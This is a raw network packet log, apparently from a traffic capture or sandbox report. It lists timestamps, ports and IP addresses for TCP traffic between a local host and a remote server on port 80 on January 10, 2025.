Jan 10, 2025 23:35:09.118316889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.118321896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118350029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.119081020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.119096041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.119106054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.119117975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.119127989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.119185925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.123051882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.132263899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.132277012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.132294893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.132307053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.132320881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.132322073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.132369041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.132369041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.138493061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.165610075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165683985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165724993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165759087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.165760040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165796995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165812016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.165832043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165865898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165870905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.165901899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165936947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.165942907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.165971994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.166007996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.166044950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199457884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199506998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199538946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199565887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199604034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199615002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199637890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199681997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199692011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199728966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199764013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199784040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199796915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199831963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199840069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199865103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199898958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199909925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199934006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199966908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.199980974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.199995995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.200030088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.200038910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.200063944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.200100899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.200112104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232661009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232683897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232705116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232717037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232728958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232743979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232753992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232768059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232816935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232831001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232882023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232892990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232904911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232923985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232923985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232923985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232923985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232966900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.232971907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232985973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.232997894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233046055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233119011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233141899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233155012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233164072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233166933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233180046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233192921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233201027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233206034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233217955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233223915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233244896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233385086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233407021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233419895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233428955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233433008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233448029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233459949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233500004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233566046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233577967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233589888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233629942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233633995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233648062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233659029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233678102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233705997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.233901978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233915091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233927011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.233967066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234009027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234023094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234035015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234046936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234046936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234071016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234256983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234267950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234280109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234292030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234298944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234303951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234313965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234324932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234324932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234343052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234345913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234357119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234366894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234369040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234378099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234386921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234394073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234400988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234411955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234416962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234422922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.234437943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.234488010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.237843037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237855911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237864971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237916946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237926006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.237929106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237950087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237957954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.237962961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237977028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237987041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.237996101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.237999916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238018036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238038063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238039970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238051891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238059044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238084078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238126993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238137960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238156080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238163948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238168001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238182068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238195896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238207102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238229990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238610029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238635063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238652945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238677979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238718033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238723040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238744974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238770962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238782883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238797903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238822937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238842964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238868952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238895893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238908052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238936901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.238976002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.238976955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.239005089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.239031076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.239042044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.239057064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.239084959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.239094019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.243746996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.253891945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.253953934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254009008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254041910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254070044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254070044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254080057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254121065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254137993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254190922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254221916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254241943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254256010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254291058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254295111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254321098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254353046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254359007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254407883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254452944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.254681110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254715919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254750967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.254755020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.257880926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.288989067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289021969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289055109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289109945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289143085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289213896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289212942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289212942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289212942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289247990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289283991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289309978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289319038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289352894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289375067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289385080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289421082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289448023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289454937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289489985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289499998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.289525032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289561987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.289568901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321170092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321207047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321222067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321235895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321264982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321285963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321297884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321312904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321326971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321337938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321351051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321363926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321367025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321367025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321367025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321367025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321420908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321440935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321445942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321460009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321470976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321482897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321482897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321511030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321602106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321624041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321635008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321654081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321657896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321676970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321677923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321690083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321702957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321715117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321727037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321732044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321739912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321759939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321760893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321780920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321784019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321798086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321803093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321810007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321822882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321834087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321846008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321856976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321866989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321871996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321886063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321896076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321901083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321934938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321938992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.321948051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.321963072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322000980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322016954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322042942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322056055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322067976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322078943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322092056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322118998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322210073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322227955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322246075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322258949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322271109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322282076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322282076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322293997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322303057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322308064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322323084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322326899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322338104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322350979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322359085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322364092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322381973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322396994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322408915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322427034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322457075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322501898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322514057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322526932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322578907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.322710037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.322721004 CET	80	49704	193.143.1.205	192.168.2.5
